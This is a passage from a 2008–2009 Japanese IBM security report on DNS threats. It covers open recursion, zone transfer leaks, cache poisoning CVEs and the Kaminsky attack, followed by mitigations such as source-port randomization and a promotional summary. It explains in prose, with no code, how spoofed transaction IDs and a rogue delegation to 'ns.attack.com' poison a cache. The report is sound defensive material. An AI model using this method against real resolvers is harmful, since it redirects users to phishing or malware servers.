ら大量のパケットが送られてくるので、サービス不能に陥ってしまう。
組織の性質によっては、外部のクライアントに対して名前解決のサービスを提供しなければなら
ないケースもあるだろう。しかし、ほとんどの場合、外部からの再起問い合わせに応答する必要はな
い。
また、ゾーン転送の設定不備が情報漏えいにつながる場合もある。この設定に不備があると、
DNS に登録されているサーバー群の情報や構成が抜き出されてしまう。
攻撃者はこのような情報を内部ネットワークの攻略に利用する。
3.2.3.2. DNS キャッシュポイズニング
DNS キャッシュポイズニングとは、DNS キャッシュサーバーにキャッシュされているホスト名と IP
アドレスの対応テーブルを改ざんする攻撃である。テーブル内の IP アドレスが改ざんされると、
ユーザーは知らないうちに別の IP アドレスにアクセスさせられてしまう。
これによって、フィッシングサイトへアクセスさせられたり、ウィルスダウンロードをさせられたりする
可能性がある。しかも、ユーザーは正しいドメインを利用しているので、アクセスしているサイトが悪
意のあるサーバーである事に気づくことは難しい。
過去に以下のような DNS キャッシュポイズニングの問題が公開されている。
・
BIND8 の乱数生成に脆弱性(CVE-2007-2930)
・
BIND9 の乱数生成に脆弱性(CVE-2007-2926)
・
DNS の脆弱性により、なりすましが行われる(MS07-062)
DNS プロトコルでは名前解決を行う際の問い合わせパケット内に、トランザクション ID という値を
含んでいる。この値によって問い合わせパケットと、応答パケットの関連付けを行う。上記の脆弱性
は、セッション管理に利用されるトランザクション ID の生成アルゴリズムに不備があり、次回利用さ
れる値を推測することができるというものである。
この脆弱性を利用することで、攻撃者が DNS キャッシュサーバーへ、コンテンツサーバーからの
応答になりすましたパケットを送信し、偽物の名前解決結果を信用させることができるのである。攻
撃が成功すると、DNS キャッシュサーバーはドメイン名に対応した偽物の IP アドレスをキャッシュし
てしまうため、クライアントから問い合わせがあった場合、偽物の IP アドレスを返信してしまう。
-23-
図 13 DNS キャッシュポイズニングの流れ
また、トランザクション ID は DNS プロトコルにより 16 ビットと定められているため、時間をかけれ
ば、上記のような脆弱性を利用しなくてもトランザクション ID を推測することができる。
ただし、DNS では TTL(Time to Live)という値が定められており、その値が過ぎるまで、ドメイン
名、IP アドレス情報をキャッシュし続ける。このため、トランザクション ID の推測に失敗し、正しい IP
アドレスが登録された場合は、そのキャッシュがクリアされるまで次の攻撃を待たなくてはならない。
3.2.3.3. Dan Kaminsky アタック
2008 年 7 月に Dan Kaminsky 氏によって公開された DNS の脆弱性(CVE-2008-1447)も DNS
キャッシュポイズニングに関するものである。この脆弱性の原因も、前節で挙げた、トランザクション
ID が 16 ビットであることに起因している。また、今回は DNS アプリケーションの脆弱性ではなく、
DNS プロトコルの脆弱性を突くものである。そのため、多くの DNS アプリケーションにて被害が発生
する恐れがある。
Dan Kaminsky 氏が公開した攻撃手法は、ドメイン名に対応する IP アドレスを直接汚染するので
はなく、ドメイン名を問い合わせる先の DNS サーバーを別のものにしてしまう方法である。
例えば、"www.example.com"の IP アドレスを変更する場合、はじめに、"001.www.example.com"
という途中までドメイン名が同一となる問い合わせを行う(図 14 ①)。この FQDN(Fully Qualified
-24-
Domain Name)10 は存在しないが、DNS キャッシュサーバーは、この FQDN の名前解決を開始する。
次に攻撃者は、トランザクション ID を偽装して先ほどの問い合わせ結果を送信する(図 14 ②)。
その際、「"www.example.com"に関する問い合わせは"ns.attack.com"へ送信するように」という情報
を含める。トランザクション ID が一致した場合は、この情報がキャッシュされ、クライアントが
"www.example.com"の問い合わせを行った場合、DNS キャッシュサーバーは"ns.attack.com"へ問
い合わせを行う(図 14 ③)。これによって、偽物の IP アドレスをクライアントに送信する。
図 14 新たな DNS キャッシュポイズニングの流れ
なお、この攻撃は、存在しない FQDN を利用して攻撃を行うことができるため、TTL を意識せず
にトランザクション ID が一致するまで攻撃を繰り返すことが可能である。前節の DNS キャッシュポイ
ズニング攻撃では、1 度失敗して DNS キャッシュサーバーに正しい IP アドレス情報がキャッシュさ
れてしまうと、キャッシュがクリアされるまで(TTL 時間)次の攻撃を待つ必要があるため、攻撃を失
敗するたびに待機時間が発生し、攻撃が成功するまでに時間を要する。
それに比べ、TTL 時間を待つ必要のないこの攻撃の成功率は非常に高く、1 時間攻撃を継続し
た場合、約 90 パーセントの確率で攻撃が成功することが報告されている11。
10完全修飾ドメイン名:ドメイン名・サブドメイン名・ホスト名を省略せずにすべて記載した形式
11 NTT 情報流通基盤総合研究所情報流通プラットフォーム研究所 IP ネットワーク技術コアチーム DNS Cache
Poisoning の概要と対処(Dan Kaminsky による DNS 脆弱性指摘に関して)
http://www.nttv6.net/files/DKA-20080723.pdf
-25-
この攻撃への対策方法としては、各ベンダーよりパッチが公開されているので、パッチの適用を
検討してほしい12。このパッチを適用することで、DNS キャッシュサーバーが利用する送信元ポート
を固定の 53 番からランダムに変更することができるようになる。送信元ポートがランダムに変更され
ると、トランザクション ID の一致だけではなく、DNS キャッシュサーバーの送信元ポートも一致しな
ければ、攻撃は成功しなくなる(図 15)。
なお、DNS サーバーによっては、送信元ポートを固定にする設定が行われている場合がある。こ
のような場合は、パッチを適用した上で、当該設定の解除が必要である。
図 15 パッチ適用後の DNS サーバーの送信元ポート
なお、DNS サーバーを NAT(Network Address Translation)して公開している場合、NAT の
実装によってはポート番号のランダム性が失われてしまう可能性もあるため注意が必要である。
また、外部から攻撃を受けないようにするために外部からの再起問い合わせを禁止することも有
効な対策である。
12 JVNVU#800113 複数の DNS 実装にキャッシュポイズニングの脆弱性
http://jvn.jp/cert/JVNVU800113/
-26-
4. まとめ
2008 年初頭からの継続的な傾向として、ク
ウィルスファイルの侵入を一元的に遮断するア
ライアント PC へのマルウェア感染を最終的な
ンチウィルスゲートウェイ、クライアント上ではビ
目標とした攻撃が顕著に増加しています。これ
ヘイビア分析型アンチウィルス、サーバー上で
は企業が管理する大規模なシステムではなく、
はホストベース IDS、Web アプリケーションに
一般のクライアントシステムから窃取した情報
関しては WAF といったように、複数のレイヤー
の転売や、クライアントシステムを利用して行う
で複数の手段を用いてセキュリティーレベルを
不正行為(SPAM メール送信やフィッシングサ
維持する多層防御の考え方が不可欠です。
イトの運営など)がビジネスとして十分に成立し
IBM では、このような情報セキュリティーに
ていることを示しており、今後も当面この傾向
対する脅威が、ビジネスに与えるリスクを軽減
が続くことが考えられます。
するために、予防を前提としたセキュリティー
企業は、組織内のクライアントシステムが誘
対策を、現実的な方法で実現する必要がある
導型攻撃を受けてマルウェアに感染することの
と考えております。その対策モデルとしてセ
ないよう、また、自社で公開しているオンライン
キュリティー対策を導入から運用まで一貫して
サービスがこのような誘導型攻撃のおとりサー
提供しています。
バーとして利用されることのないよう、クライアン
SOC では、ネットワークレイヤーにおけるセ
ト/サーバー双方のシステムのセキュリティー
キュリティー対策の運用サイクルを効率的に進
を包括的に維持していかなければなりません。
めるための「MPS(マネージド プロテクション
しかしながら、各々のシステムで利用してい
サービス)」や、中小企業でも導入しやすい価
る全てのアプリケーションの脆弱性情報を管理
格の「MPS Lite」など、複数のサービスライン
し、パッチ適用やバージョンアップの対応を継
ナップを備えています。
続することは容易ではありません。
これらのサービスでは、Proventia シリーズ
また、今期話題となった DNS への攻撃など
を利用して、専門技術者が 24 時間 365 日
は、対策の実施によってその有効性を和らげ
監視/運用/管理を行います。ビジネスに与える
ることは可能ですが、プロトコルそのものの仕
リスクを軽減させるための手段として利用をご
様に関わる問題であるため本質的に脅威を解
検討いただければ幸いです。
消することは難しい性質のものであると考えざ
IBM は、社会的な基盤へと成長した情報シ
るを得ません。
ステムを守るため、高度化・多様化を続ける脅
このような場面においては、ネットワークレイ
威に対して常に”Ahead of the threat®”を実
ヤーでは「脆弱性を攻撃する試み」という観点
現する製品とサービスを提供することで情報社
で攻撃を検知する IDS/IPS や、組織内への
会の発展を支援していきたいと考えています。
【注意】レポートで紹介した対策は、利用環境によって他のシステムへ影響を及ぼす恐れがあるの
で、対策を行う際には十分注意の上、自己責任で行ってください。
-27-
寄稿者
日本アイ・ビー・エム株式会社
GTS ITS ソリューションセンター
マネージド セキュリティ サービス
セキュリティ オペレーション センター
井上 博文、 梨和 久雄、 鈴木 七慧、 若松 怜英、 朝長 秀誠、 窪田 豪史、 福野 直弥
【奥付】
日本アイ・ビー・エム株式会社
GTS ITS ソリューションセンター
マネージド セキュリティ サービス
セキュリティ オペレーション センター
© Copyright IBM Japan, Ltd. 2009
IBM、IBM ロゴ、Proventia、Ahead of the threat、Virtual Patch、X-Force、SiteProtector、
InternetScanner、RealSecure は、International Business Machines Corporation の米国お
よびその他の国における商標。Microsoft、Windows、Windows Server、Windows NT は、
Microsoft Corporation の米国およびその他の国における商標。Linux は、Linus Torvalds の
米国およびその他の国における商標。他の会社名、製品およびサービス名等はそれぞれ各社の
商標。
●このレポートの情報は 2008 年 12 月現在のものです。内容は事前の予告なしに変更する場合が
あります。●全て場合において本書と同等の効果が得られることを意味するものではありません。効
果はお客様の環境その他の要因によって異なります。
28